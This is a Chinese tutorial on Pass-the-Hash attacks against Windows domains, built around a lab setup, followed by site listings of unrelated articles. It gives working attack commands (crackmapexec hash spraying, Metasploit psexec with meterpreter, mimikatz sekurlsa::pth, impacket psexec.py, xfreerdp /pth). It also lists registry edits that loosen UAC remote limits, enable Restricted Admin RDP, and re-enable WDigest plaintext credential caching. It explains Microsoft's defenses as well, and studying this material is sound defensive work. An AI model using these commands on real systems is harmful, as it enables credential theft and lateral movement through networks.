PTH 哈希传递攻击

参考文章:内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)-腾讯云开发者社区-腾讯云 

哈希传递攻击(Pass-the-Hash,PtH)_c++ 实现 pass the hash功能-CSDN博客

  • 域控机器账户:WIN-0V0GAORDC17

  • 域控 ip:192.168.72.163

  • 域内攻击者机器 ip:192.168.72.158,host:WIN10-01

  • 攻击者 kali 机器 ip:192.168.72.162

攻击原理:

使用获取到的用户 hash 进行身份验证(windows server 2012 后,默认内存不存储明文密码),因为 ntlm 认证过程和 kerberos 认证过程默认都是使用用户密码的 hash 来进行认证,使用获得到的用户 hash去碰撞内网中的有权限的机器(通过135 和 445 端口)。

在传统的 Kerberos 协议中,PTH 攻击通常利用存储在系统中的哈希值(如 NTLM 哈希或 Kerberos 密钥派生的哈希值)进行身份验证。攻击者可以通过获取这些哈希值,并用它们来伪造认证请求,从而绕过实际的密码验证过程。

工作组环境和域环境下的 PTH 攻击

  • 工作组用户

    • 本地普通用户(攻击不成功)

    • 本地管理员组用户(攻击不成功)

    • 本地管理员组用户中的 administrator(攻击成功)

  • 域用户(攻击成功)

UAC 的存在导致,工作组环境下 PTH 攻击只有 administrator 用户能攻击成功,原因如下:

UAC 阻止了非 administrator 用户的网络连接。

UAC 的设计目的是为了防止恶意软件利用管理员权限进行破坏。在工作组的环境下,即使使用除 administrator 以外的管理员组用户远程访问,也会受到 UAC 机制的限制,导致不能连接访问网络,由此阻止了黑客工具的连接。

工作组环境下,微软若检测出发起网络连接请求的用户不是 administrator ,而是本地管理员组中的用户,那么 UAC 会删除管理员凭证的令牌,使得网络连接受限。

bypass UAC 使得本地管理员组用户能进行网络连接,导致 PTH 攻击成功方法:
  • LocalAccountTokenFilterPolicy

下图是微软强制执行远程访问的本地帐户限制:

强制执行远程访问的本地帐户限制是由 LocalAccountTokenFilterPolicy 的值控制,当此值不存在或为 0 时,UAC 限制本地用户的远程连接,当设置 LocalAccountTokenFilterPolicy 为 1 时,就会禁用 UAC 远程连接限制,此时执行 PTH 攻击将会生效,这时本地管理员组用户均可以在远程连接时获得一个具有管理员权限的令牌。
​
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
UAC 限制 administrator 的网络连接
  • FilterAdministratorToken

UAC 的这项设置对应注册表的 FilterAdministratorToken ,默认这项设置是禁用的,如果启用那么就连 administrator 的远程访问都会被 UAC 限制,导致工作组环境下所有的用户 PTH 攻击失效。
​
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /d 1 /f

PTH攻击:哈希碰撞

攻击原理:

在企业内网环境中,很多计算机在安装的时候使用的是相同的密码。在获取到其中一台机器的 hash 且无法解密为明文,碰撞多台机器。

CrackMapExec
crackmapexec smb 192.168.72.163/24 -u administrator -H 00000000000000000000000000000000:58ff35b4831f039d108d553e68856650

MSF
use exploit /windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.72.163/24
set smbuser administrator
set smbpass 00000000000000000000000000000000:58ff35b4831f039d108d553e68856650
run

PTH攻击:横向移动

攻击原理:

当碰撞出目标机器时,我们需要 PTH 攻击访问目标机器。

MSF
use exploit /windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.72.163
set smbuser administrator
set smbpass 00000000000000000000000000000000:58ff35b4831f039d108d553e68856650
set smbdomain HACKER
run
mimikatz
获取交互式shell
​
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.72.163 /ntlm:58ff35b4831f039d108d553e68856650
​
在弹出的cmd窗口中,使用wmiexec.vbs执行如下命令进行验证执行交互式命令
cscript wmiexec.vbs /shell 192.168.72.163

impacket
psexec、smbexec、wmiexec、atexec、dcomexec等脚本利用哈希进行横向移动
​
python psexec.py administrator@192.168.72.163 -hashes 00000000000000000000000000000000:58ff35b4831f039d108d553e68856650

使用 RDP 进行 PTH 攻击

微软 KB2871997 补丁
  • ProtectedUsers 组的支持。

  • RestrictedAdminRDP 模式远程客户端支持。

  • PassTheHash 增强保护。

Protected Users 组的支持(针对域用户 PTH 攻击的防御)
  • Protected Users 组中的用户强制只能使用 Kerberos 协议进行身份验证,拒绝 NTLM 、Digest 和 CredSSP 认证。

  • Kerberos 协议进行身份验证的时候拒绝使用 DES 和 RC4 加密类型,强制使用 AES 加密进行预身份验证。这也意味着目标域需要配置为支持 AES 加密。

  • 不能使用 Kerberos 约束性或非约束性委派来委派用户账户。

在使用 AES 加密进行身份认证的 Kerberos 协议中,用户端不需要提供用户 hash( NTLM 哈希或 Kerberos 哈希)。这一点与传统的基于 DES 或 RC4 的 Kerberos 身份验证有很大的不同。具体来说,使用 AES 加密时,身份验证的过程更加依赖于用户的密码以及相关的 密钥衍生算法,而不是直接使用存储的哈希值。由于 AES 加密进行的 Kerberos 协议没有使用到抓取到的哈希值,所以 PTH 在此情况将失效。

Restricted Admin RDP 模式远程客户端支持(防止攻击者窃取用户 hash / 同时产生了新的攻击方式)
  • 此模式对于 " Remote Desktop Users " 组内的用户不可用。

RDP 登录:

在此模式之前,RDP 登录是一个交互式的登录,提供正确的用户名和密码能进行访问。RDP 登陆后,目标机器会将用户的凭据存储在目标机器的内存中,导致如果目标机器被入侵,所有 RDP 登录过的用户凭据将盗。

Restricted Admin RDP模式:

此模式支持网络登录,即可以通过用户现有的登录令牌来进行 RDP 身份验证,此模式下的登录在目标主机上不保存用户凭据。

PTH with RDP

Restricted Admin RDP 模式下,支持使用 hash 凭据来进行 RDP 登录远程主机,而不需要输入用户明文密码,因此攻击者可以使用 PTH 攻击支持 Restricted Admin RDP 模式登录的机器。

如果目标支持 Restricted Admin RDP 模式,那么可以通过如下命令进行开启:

REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
​
执行以上命令开启了 " Restricted Admin RDP " 模式后,可以执行如下命令查询是否开启成功。值为 0,代表开启; 值为 1,代表关闭
​
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

条件:

  • 目标机器可以在 Restricted Admin RDP 模式远程登录。

  • 要求客户机器(被控机器)也支持 Restricted Admin RDP 模式

  • 连接的用户凭据必须是本地管理员组中的用户(本地普通用户不行)

攻击:

privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.72.163 /ntlm:58ff35b4831f039d108d553e68856650 "/run:mstsc.exe /restrictedadmin"
​
xfreerdp /v:192.168.72.158 /u:administrator /pth:58ff35b4831f039d108d553e68856650

需要注意的是,如果在 windows 上使用 mimikatz 进行 PTH with RDP 攻击,那么登陆的用户将会是启动 cmd 进程的用户,而不是我们指定的用户,且无法更改。如下图所示,登录用户被锁死为 WIN10-01$ ,而不是我们指定的 administrator ,这是因为这个 cmd 进程是 system 用户启动的,也就是域用户 WIN10-01$ 。所以后续认证将会失败。

使用 xfreerdp 不需要考虑这个问题,如下图:

Pass The Hash 增强保护
  • 注销时清除凭据(防止攻击者获取用户 hash )

确保用户注销后清除在 LSASS 内存中缓存用户的明文凭据、NTLM 密码散列、Kerberos TGT 票据等

  • 从 LSASS 内存删除明文凭证(防止攻击者获取用户 hash )

将明文凭证从 LSASS 内存中移除,攻击者无法使用 mimikatz 工具获得明文凭证,该功能是通过禁用 Wdigest 认证来实现的,因此默认情况下,Windows 8.1 和 Windows Server2012R2 高版本系统是没有 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 注册表键,说明禁用了 Wdigest 认证,但是如果管理员手动增加这个键,并且赋值为1,即使打了补丁,也能抓到明文凭据,如下命令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • 引入了新的 SID (防止攻击者针对本地用户进行的PTH攻击)

    • LOCAL_ACCOUNT(S-1-5-113):所有本地帐户继承此 SID

    • LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114):所有管理员组的本地帐户继承此 SID

网络管理员可以通过组策略设置 “拒绝从网络访问此计算机” 和 “拒绝通过远程桌面服务登录” 这两个安全选项来禁止本地账户通过远程桌面和网络访问计算机。但是域用户不受影响,因此,补丁引入的这两个新的 SID 对于本地账号的哈希传递攻击有一定缓解作用,不过需要网络管理员手动配置组策略才能生效。

打开组策略,计算机配置——>Windows 设置——>安全设置——>本地策略——>用户权限分配,找到“拒绝从网络访问此计算机”和“拒绝通过远程桌面服务登录”这两个选项,将本地用户添加到这两个选项中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/973025.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Vue3项目,蛋糕商城系统

简单的vue3商城 蛋糕商城系统 下单平台 带用户 登录 注册 首页轮播图 购物车后台管理 商品订单 登录注册 商品详情 纯前端无后台、无数据库 纯Vue3项目作业 vue3 setup语法糖写法 技术实现 本项目主要使用如下技术实现, - 基于vue3vite搭建的项目框架 -…

快速上手gdb/cgdb

Linux调试器-gdb使用 1.背景2.调试原理、技巧命令2.1指令2.2 本质2.3 技巧 1.背景 程序的发布方式有两种,debug模式和release模式 Linux gcc/g出来的二进制程序,默认是release模式 要使用gdb调试,必须在源代码生成二进制程序的时候, 加上 -g…

LLM增强强化学习:开启智能决策的新篇章

标题期刊年份关键词Survey on Large Language Model-Enhanced Reinforcement Learning: Concept, Taxonomy, and MethodsIEEE Transactions on Neural Networks and Learning Systems2024Reinforcement learning (RL), large language models (LLM), vision-language models (V…

ECMAScript6------数组扩展

ECMAScript6------数组扩展 1.扩展运算符1.1 含义1.2 应用(1)复制数组(浅拷贝)(2)合并数组(3)与解构赋值结合(4)字符串(5)实现了Iterator接口的对象(6)Map和Set结构,Generator 函数 2.Array.from和Array.of(1)Array.from(2)Array.of 3.新增的实例方法(1)copyWithin()(2)find(回…

C++,设计模式,【工厂方法模式】

文章目录 如何用汽车生产线理解工厂方法模式?一、传统生产方式的困境二、工厂方法模式解决方案三、模式应用场景四、模式优势分析五、现实应用启示✅C++,设计模式,【目录篇】 如何用汽车生产线理解工厂方法模式? 某个早晨,某车企CEO看着会议室里堆积如面的新车订单皱起眉…

Web入侵实战分析-常见web攻击类应急处置实验2

场景说明 某天运维人员,发现运维的公司站点被黑页,首页标题被篡改,你获得的信息如下: 操作系统:windows server 2008 R2业务:公司官网网站架构:通过phpstudy运行apache mysqlphp开放端口&…

企业内部知识库:安全协作打造企业智慧运营基石

内容概要 作为企业智慧运营的核心载体,企业内部知识库通过结构化的信息聚合与动态化的知识流动,为组织提供了从数据沉淀到价值转化的系统性框架。其底层架构以权限管理为核心,依托数据加密技术构建多层级访问控制机制,确保敏感信…

第十二届先进制造技术与材料工程国际学术会议 (AMTME 2025)

重要信息 大会官网:www.amtme.org(了解会议,投稿等) 大会时间:2025年3月21-23日 大会地点:中国-广州 简介 2025年第十二届先进制造技术与材料工程 (AMTME 2025) 定于2025年3月21-23日在中国广州隆重举…

[展示]Webrtc NoiseSuppressor降噪模块嵌入式平台移植

最近在尝试把WebRtc的NoiseSuppressor模块移植到嵌入式平台,现在已经移植了,尝试了下效果,降噪效果很显著,噪声带被显著抑制了 降噪前: 降噪后:

禁止WPS强制打开PDF文件

原文网址:禁止WPS强制打开PDF文件_IT利刃出鞘的博客-CSDN博客 简介 本文介绍如何避免WPS强制打开PDF文件。 方法 1.删除注册表里.pdf的WPS绑定 WinR,输入:regedit,回车。找到:HKEY_CLASSES_ROOT\.pdf删除KWPS.PDF…

后端Java Stream数据流的使用=>代替for循环

API讲解 对比 示例代码对比 for循环遍历 package cn.ryanfan.platformback.service.impl;import cn.ryanfan.platformback.entity.Algorithm; import cn.ryanfan.platformback.entity.AlgorithmCategory; import cn.ryanfan.platformback.entity.DTO.AlgorithmInfoDTO; im…

JUC并发—8.并发安全集合一

大纲 1.JDK 1.7的HashMap的死循环与数据丢失 2.ConcurrentHashMap的并发安全 3.ConcurrentHashMap的设计介绍 4.ConcurrentHashMap的put操作流程 5.ConcurrentHashMap的Node数组初始化 6.ConcurrentHashMap对Hash冲突的处理 7.ConcurrentHashMap的并发扩容机制 8.Concu…

Java中的常用类 --String

学习目标 掌握String常用方法掌握StringBuilder、StringBuffer了解正则 1.String ● String是JDK中提前定义好的类型 其所在的包是java.lang ,String翻译过来表示字符串类型,也就是说String类中已经提前定义好了很多方法都是用来处理字符串的,所以Str…

wps中的js开发

严格区分大小写 /*** learn_js Macro*/ function test() {Range(D7).Value2Selection.Value2; // Selection.formula "100" }function Workbook_SheetSelectionChange(Sh, Target) {if(Sh.Name Sheet1) {test();}}function test2() {// 把I4单元格及其周边有数的单…

QT事件循环

文章目录 主事件循环事件循环事件调度器事件处理投递事件发送事件 事件循环的嵌套线程的事件循环deleteLater与事件循环QEventLoop类QEventLoop应用等待一段时间同步操作模拟模态对话框 参考 本文主要对QT中的事件循环做简单介绍和使用 Qt作为一个跨平台的UI框架,其…

3-知识图谱-知识图谱的存储与查询

基于关系型数据库的知识图谱存储 基于原生图的知识图谱存储 关系型数据库的局限性 因为关系数据库,不善于处理“关系” 图数据库: Relations Are First-class citizens 在关系数据库中,关系是隐藏表达的。通过外键关联实体,表达…

【HarmonyOS Next】鸿蒙监听手机按键

【HarmonyOS Next】鸿蒙监听手机按键 一、前言 应用开发中我们会遇到监听用户实体按键,或者扩展按键的需求。亦或者是在某些场景下,禁止用户按下某些按键的业务需求。 这两种需求,鸿蒙都提供了对应的监听事件进行处理。 onKeyEvent 默认的…

SpringCloud-Eureka初步使用

什么是REST是一组用于规范资源在网络中转移的表现形式软件架构设计风格.简单来说就是客户端和服务器之间的一种交互形式 什么是RESTful,满足了REST风格的接口或者程序,RESTful API是其中的接口,spring中提供了RestTemplate这个类,他强制执行了REST的规范,包括使用HTTP协议的状…

SpringBoot+uniApp日历备忘录小程序系统 附带详细运行指导视频

文章目录 一、项目演示二、项目介绍三、运行截图四、主要代码1.日历渲染代码:2.保存备忘录代码:3.删除备忘录代码: 一、项目演示 项目演示地址: 视频地址 二、项目介绍 项目描述:这是一个基于SpringBootuniApp框架开…

推荐给 Easysearch 新用户的几个 Elasticsearch 可视化工具

Easysearch 作为国产化的 Elasticsearch(ES)替代方案,兼容 Elasticsearch 生态系统中的多种工具。本文将介绍几款适合 Easysearch 用户的可视化工具,帮助您更高效地管理和查询数据。 1. Elasticsearch Head 插件 在ES培训经常提…